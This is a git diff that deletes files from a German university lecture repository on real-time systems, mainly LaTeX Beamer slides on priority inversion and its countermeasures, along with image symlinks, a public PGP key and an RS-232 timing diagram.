\put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - \put(0,1){\line(1,0){10}} - } - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - \visible<4->{% - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ }\newterm{unbegrenzte Prioritätsinversion} - - \pause - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} - \only<2>{% - \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - {\thicklines - \put(3.3,2.95){\line(2,1){1.0}} - \put(3.3,3.45){\line(2,-1){1.0}}} - \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - } - \put(0,3){\line(1,0){10}} - - \only<2->{% - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} - \alt<1-4>{% - \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}} - }{% - \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}} - } - \only<2>{% - \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} - \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \only<3-4>{% - \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} -% \put(3.9,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \only<2>{% - \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}} - \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \put(0,1){\line(1,0){10}} - } - - \only<5->{% - \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}} - \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}} - \put(0,2){\line(1,0){10}} - } - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ \newterm{unbegrenzte Prioritätsinversion} - - \medskip - - Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997 - - \only<1>{% - \begin{center} - \includegraphics[width=8.7cm]{pathfinder.jpg} - \vspace*{-1.5cm} - \end{center} - } - - \bigskip - - \only<2>{% - Gegenmaßnahmen - \begin{itemize} - \item - \newterm{Priority Inheritance -- Prioritätsvererbung}\\ - Der Besitzer des Mutex erbt die Priorität\\ - des Prozesses, der auf den Mutex wartet. - \end{itemize} - - \bigskip - - \begin{minipage}{7.0cm} - \begin{flushright} - \url{http://research.microsoft.com/en-us/\\um/people/mbj/Mars\_Pathfinder/} - \end{flushright} - \end{minipage} - - \vspace{1.35cm}\strut\hfill\makebox(0,0)[br]{\includegraphics[height=2.8cm]{pathfinder.jpg}}\vspace*{-1cm} - } - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ \newterm{unbegrenzte Prioritätsinversion} - - \bigskip - - Gegenmaßnahme: \newterm{Priority Inheritance -- Prioritätsvererbung} - - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} - \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}} - \put(0,1){\line(1,0){10}} - - \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}} - \only<1-2>{% - \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}} - } - \put(0,2){\line(1,0){10}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} - \put(0,3){\line(1,0){10}} - - \only<2>{% - \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - {\thicklines - \put(3.3,2.95){\line(2,1){1.0}} - \put(3.3,3.45){\line(2,-1){1.0}}} - } - - \only<3->{% - \put(3.4,3){{\color{medgreen}\rule{0.7cm}{0.4cm}}} - \put(4.1,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}} - \put(4.9,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}} - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}} - } - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ \newterm{unbegrenzte Prioritätsinversion} - - \bigskip - - Gegenmaßnahme: \newterm{Priority Ceiling -- Prioritätsobergrenze} - - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} -% \only<1>{% -% \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}} -% } - \put(0,1){\line(1,0){10}} - -% \only<1>{% -% \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}} -% \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}} -% } - \put(0,2){\line(1,0){10}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} -% \only<1>{% -% \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} -% } - \put(0,3){\line(1,0){10}} - -% \only<2>{% -% \only<2>{% - \put(2.6,3){{\color{medgreen}\rule{0.9cm}{0.4cm}}} - \put(3.5,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} - \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.7,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}} - \put(5.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}} - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}} -% } - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ \newterm{unbegrenzte Prioritätsinversion} - - \medskip - - Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997 - - \bigskip - - Gegenmaßnahmen - \begin{itemize} - \item - \newterm{Priority Inheritance -- Prioritätsvererbung}\\ - Der Besitzer des Mutex erbt die Priorität\\ - des Prozesses, der auf den Mutex wartet. - \smallskip - \item - \newterm{Priority Ceiling -- Prioritätsobergrenze}\\ - Der Besitzer des Mutex bekommt sofort\\ - die Priorität des höchstmöglichen Prozesses,\\ - der evtl.\ den Mutex benötigen könnte. - \pause - \begin{picture}(0,0) - \put(1.2,1.45){\makebox(0,0)[l]{$\left\}\rule{0pt}{1.7cm}\right.$ - \begin{minipage}{4cm} - nur möglich, wenn\\ - Mutexe im Spiel sind - \end{minipage}}} - \end{picture} - \smallskip - \pause - \item - \newterm{Priority Aging}\\ - Die Priorität wächst mit der Wartezeit. - \end{itemize} - \vspace*{-1cm} - -\end{frame} - -\end{document} diff --git a/20161110/herzschrittmacher.jpg b/20161110/herzschrittmacher.jpg deleted file mode 120000 index 92d8f0053003cc555aec83f5d088f1cec822ad81..0000000000000000000000000000000000000000 --- a/20161110/herzschrittmacher.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/herzschrittmacher.jpg \ No newline at end of file diff --git a/20161110/kompass-messung.png b/20161110/kompass-messung.png deleted file mode 120000 index 85cfa0d3840e7542ebb6dd2092be6c2a6e08fbb1..0000000000000000000000000000000000000000 --- a/20161110/kompass-messung.png +++ /dev/null @@ -1 +0,0 @@ -../common/kompass-messung.png \ No newline at end of file diff --git a/20161110/kompassmodul-an-roboter.jpg b/20161110/kompassmodul-an-roboter.jpg deleted file mode 120000 index dab8b38c1a92bf8072d42dc3abcc07be54a58c7b..0000000000000000000000000000000000000000 --- a/20161110/kompassmodul-an-roboter.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/kompassmodul-an-roboter.jpg \ No newline at end of file diff --git a/20161110/kompassmodul.jpg b/20161110/kompassmodul.jpg deleted file mode 120000 index be108a5341df13a693959dbe69b7b9541b36fc4c..0000000000000000000000000000000000000000 --- a/20161110/kompassmodul.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/kompassmodul.jpg \ No newline at end of file diff --git a/20161110/logo-hochschule-bochum-cvh-text.pdf b/20161110/logo-hochschule-bochum-cvh-text.pdf deleted file mode 120000 index a05946126bc0ce6a2818740da2893f59eb0c659c..0000000000000000000000000000000000000000 --- a/20161110/logo-hochschule-bochum-cvh-text.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text.pdf \ No newline at end of file diff --git a/20161110/logo-hochschule-bochum.pdf b/20161110/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20161110/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20161110/motherboard-anschluesse.jpg b/20161110/motherboard-anschluesse.jpg deleted file mode 120000 index 07335d7dff65c71a683588d2ed108485c4653fb7..0000000000000000000000000000000000000000 --- a/20161110/motherboard-anschluesse.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/motherboard-anschluesse.jpg \ No newline at end of file diff --git a/20161110/pathfinder.jpg b/20161110/pathfinder.jpg deleted file mode 120000 index 23c6444fee26e0cf0dd2f8639484b00aa5021b59..0000000000000000000000000000000000000000 --- a/20161110/pathfinder.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/pathfinder.jpg \ No newline at end of file diff --git a/20161110/peter-gerwinski.public-key.asc b/20161110/peter-gerwinski.public-key.asc deleted file mode 100644 index 853e0456fbec0d99b787c1b19231e759dc0dc9ce..0000000000000000000000000000000000000000 --- a/20161110/peter-gerwinski.public-key.asc +++ /dev/null @@ -1,52 +0,0 @@ ------BEGIN PGP PUBLIC KEY BLOCK----- -Version: GnuPG v1 - -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 -4lKT -=LKeH ------END PGP PUBLIC KEY BLOCK----- diff --git a/20161110/pgslides.sty b/20161110/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20161110/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20161110/philosophenproblem.jpg b/20161110/philosophenproblem.jpg deleted file mode 120000 index 26591b2ac2dddfd4786814baf3f19ecb67f1f5ee..0000000000000000000000000000000000000000 --- a/20161110/philosophenproblem.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/philosophenproblem.jpg \ No newline at end of file diff --git a/20161110/photo-20161110-144325.jpg b/20161110/photo-20161110-144325.jpg deleted file mode 100644 index 8306b3d0ddd572cfeab23d063a2ba2f766a7f743..0000000000000000000000000000000000000000 Binary files a/20161110/photo-20161110-144325.jpg and /dev/null differ diff --git a/20161110/photo-20161110-144419.jpg b/20161110/photo-20161110-144419.jpg deleted file mode 100644 index 46f757877ef0792f2ab9f26a3e75611ec41e32ee..0000000000000000000000000000000000000000 Binary files a/20161110/photo-20161110-144419.jpg and /dev/null differ diff --git a/20161110/quadrocopter.jpg b/20161110/quadrocopter.jpg deleted file mode 120000 index 7eaf0c024b63b7bc1dd3df2c17c8ab93f67fc15c..0000000000000000000000000000000000000000 --- a/20161110/quadrocopter.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/quadrocopter.jpg \ No newline at end of file diff --git a/20161110/rp6.jpg b/20161110/rp6.jpg deleted file mode 120000 index 2a0ecff23845770c3a98178eca6dce3ec73aca58..0000000000000000000000000000000000000000 --- a/20161110/rp6.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/rp6.jpg \ No newline at end of file diff --git a/20161110/rs-232.tex b/20161110/rs-232.tex deleted file mode 100644 index a174692f177abe0d0ff1afd7e6783160485b5a22..0000000000000000000000000000000000000000 --- a/20161110/rs-232.tex +++ /dev/null @@ -1,97 +0,0 @@ -% rs-232.pdf - Illustration of the RS-232 Protocol -% Copyright (C) 2011, 2016 Peter Gerwinski -% -% based on http://de.wikipedia.org/w/index.php?title=Datei:RS-232_timing.png&filetimestamp=20050719153204 -% Copyright (C) 2005 Wikipedia-Autor Gerald.deppe, released into Public Domain -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -\usepackage{rotating} - -\setbeamertemplate{footline}{} - -\begin{document} - -\begin{frame} - \vspace*{-0.65cm} - \begin{center} - \includegraphics[width=12cm]{RS-232_timing-no-text.png}\\ - \begin{picture}(12,1) - \footnotesize - \put(0.1,9.17){\mbox{Synchronisation}} - \put(0.1,8.77){\mbox{Daten}} - \put(0.1,8.37){\mbox{Check}} -% \put(3,8.77){\mbox{9600\,8O1 = 9600\,Baud, 8 Daten-Bits, ungerade Parität (odd), 1 Stopp-Bit}} - \put(3,9.17){\mbox{9600\,Baud, 8 Daten-Bits, ungerade Parität, 1 Stopp-Bit}} - \put(3,8.77){\mbox{Beispiel-Daten: ASCII "`G"' = 71 = 0100\,0111 binär}} - \put(3,8.37){\mbox{Übertragung der Daten von rechts (Bit 0) nach links (Bit 7)}} - \put(2.000,6.4){\begin{rotate}{90}Ruhe\end{rotate}} - \put(2.900,6.4){\begin{rotate}{90}Start-Bit\end{rotate}} -% \put(3.569,6.4){\begin{rotate}{90}LSB 0\end{rotate}} - \put(3.569,6.4){\begin{rotate}{90}Bit 0\end{rotate}} - \put(4.238,6.4){\begin{rotate}{90}Bit 1\end{rotate}} - \put(4.907,6.4){\begin{rotate}{90}Bit 2\end{rotate}} - \put(5.576,6.4){\begin{rotate}{90}Bit 3\end{rotate}} - \put(6.245,6.4){\begin{rotate}{90}Bit 4\end{rotate}} - \put(6.914,6.4){\begin{rotate}{90}Bit 5\end{rotate}} - \put(7.583,6.4){\begin{rotate}{90}Bit 6\end{rotate}} -% \put(8.252,6.4){\begin{rotate}{90}MSB 7\end{rotate}} - \put(8.252,6.4){\begin{rotate}{90}Bit 7\end{rotate}} - \put(8.921,6.4){\begin{rotate}{90}Parität\end{rotate}} - \put(9.590,6.4){\begin{rotate}{90}Stopp-Bit\end{rotate}} - \put(10.09175,6.4){\begin{rotate}{90}Ruhe\end{rotate}} - \put(10.5935,6.4){\begin{rotate}{90}Start-Bit\end{rotate}} - \put(11.2625,6.4){\begin{rotate}{90}\dots\end{rotate}} - \put(2.000,4.4){\makebox(0,0)[br]{1}} - \put(2.900,4.4){\makebox(0,0)[br]{0}} - \put(3.569,4.4){\makebox(0,0)[br]{1}} - \put(4.238,4.4){\makebox(0,0)[br]{1}} - \put(4.907,4.4){\makebox(0,0)[br]{1}} - \put(5.576,4.4){\makebox(0,0)[br]{0}} - \put(6.245,4.4){\makebox(0,0)[br]{0}} - \put(6.914,4.4){\makebox(0,0)[br]{0}} - \put(7.583,4.4){\makebox(0,0)[br]{1}} - \put(8.252,4.4){\makebox(0,0)[br]{0}} - \put(8.921,4.4){\makebox(0,0)[br]{1}} - \put(9.590,4.4){\makebox(0,0)[br]{1}} - \put(10.09175,4.4){\makebox(0,0)[br]{1}} - \put(10.5935,4.4){\makebox(0,0)[br]{0}} - \put(0.1,5.60){\mbox{logisch 1}} - \put(0.1,5.20){\mbox{logisch 0}} - \put(1,3.8){\makebox(0,0)[r]{$\sf +15$\,V}} - \put(1,2.8){\makebox(0,0)[r]{$\sf +3$\,V}} - \put(1,2.5){\makebox(0,0)[r]{$\sf 0$\,V}} - \put(1,2.2){\makebox(0,0)[r]{$\sf -3$\,V}} - \put(1,1.2){\makebox(0,0)[r]{$\sf -15$\,V}} - \put(1.2,0.6){\vector(1,0){9.6}} - \put(10.8,0.3){\makebox(0,0)[tr]{Zeit/s}} - \multiput(2.45,0.6)(0.669,0){13}{\line(0,-1){0.1}} - \put(2.45,0.4){\makebox(0,0)[t]{\sf 0}} - \put(3.119,0.4){\makebox(0,0)[t]{$\sf\frac{1}{9600}$}} - \put(5.795,0,4){\makebox(0,0)[t]{$\sf\frac{5}{9600}$}} - \put(9.140,0,4){\makebox(0,0)[t]{$\sf\frac{10}{9600}$}} - \end{picture} - \end{center} -\end{frame} - -\end{document} diff --git a/20161110/xbee.jpg b/20161110/xbee.jpg deleted file mode 120000 index ff0adff2eadf3d9b775d03cea8cf1f118534e2b9..0000000000000000000000000000000000000000 --- a/20161110/xbee.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/xbee.jpg \ No newline at end of file diff --git a/20161124/BMW_F01_front_20081213.jpg b/20161124/BMW_F01_front_20081213.jpg deleted file mode 100644 index 8b69e4b7a1f3b90db99d3c29839c36a5b0df920f..0000000000000000000000000000000000000000 Binary files a/20161124/BMW_F01_front_20081213.jpg and /dev/null differ diff --git a/20161124/csa2.jpg b/20161124/csa2.jpg deleted file mode 120000 index b5bd4b2df223c36917de442b4e198aa46787f05b..0000000000000000000000000000000000000000 --- a/20161124/csa2.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/csa2.jpg \ No newline at end of file diff --git a/20161124/logo-hochschule-bochum-cvh-text.pdf b/20161124/logo-hochschule-bochum-cvh-text.pdf deleted file mode 120000 index a05946126bc0ce6a2818740da2893f59eb0c659c..0000000000000000000000000000000000000000 --- a/20161124/logo-hochschule-bochum-cvh-text.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text.pdf \ No newline at end of file diff --git a/20161124/logo-hochschule-bochum.pdf b/20161124/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20161124/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20161124/pathfinder.jpg b/20161124/pathfinder.jpg deleted file mode 120000 index 23c6444fee26e0cf0dd2f8639484b00aa5021b59..0000000000000000000000000000000000000000 --- a/20161124/pathfinder.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/pathfinder.jpg \ No newline at end of file diff --git a/20161124/pgslides.sty b/20161124/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20161124/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20161124/philosophenproblem.jpg b/20161124/philosophenproblem.jpg deleted file mode 120000 index 26591b2ac2dddfd4786814baf3f19ecb67f1f5ee..0000000000000000000000000000000000000000 --- a/20161124/philosophenproblem.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/philosophenproblem.jpg \ No newline at end of file diff --git a/20161124/systech-20161006.pdf b/20161124/systech-20161006.pdf deleted file mode 100644 index 7b805863588975735dbad1eeb1cf1b9a13ea1add..0000000000000000000000000000000000000000 Binary files a/20161124/systech-20161006.pdf and /dev/null differ diff --git a/20161124/systech-20161006.tex b/20161124/systech-20161006.tex deleted file mode 100644 index 06479853af5662779a0561fc16cf0137c3a51a21..0000000000000000000000000000000000000000 --- a/20161124/systech-20161006.tex +++ /dev/null @@ -1,1844 +0,0 @@ -% systech-20161006.pdf - Lecture Slides on Advanced System Engineering -% Copyright (C) 2013, 2014, 2015, 2016 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -%\usepackage{rotating} -\usepackage{pdftricks} -\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx} -\usepackage{tikz} -\usepackage{eurosym} - -\newrgbcolor{lightyellow}{0.95 0.85 0.0} -\newrgbcolor{lightorange}{1.0 0.7 0.0} -\newrgbcolor{lightgreen}{0.0 0.8 0.0} - -\begin{psinputs} - \usepackage[latin1]{inputenc} - \usepackage[german]{babel} - \usepackage[T1]{fontenc} - \usepackage{helvet} - \renewcommand*\familydefault{\sfdefault} - \usepackage{pstricks} - \psset{unit=1cm} -\end{psinputs} - -\title{Vertiefung Systemtechnik} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{23.\ November 2016} - -\begin{document} - -\newlength{\normalpdfpageheight} -\setlength{\normalpdfpageheight}{\pdfpageheight} - -\maketitleframe - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \begin{itemize} - \item[1.1] Was ist Echtzeit? - \item[1.2] Echtzeitprogrammierung - \end{itemize} - \item[\textbf{2}] \textbf{Theorie der Echtzeitsysteme} - \begin{itemize} - \color{medgreen} - \item[2.1] Multitasking - \item[2.2] Ressourcen - \item[2.3] Prioritäten - \end{itemize} - \item[\textbf{3}] \textbf{Echtzeitbetriebssysteme} - \begin{itemize} 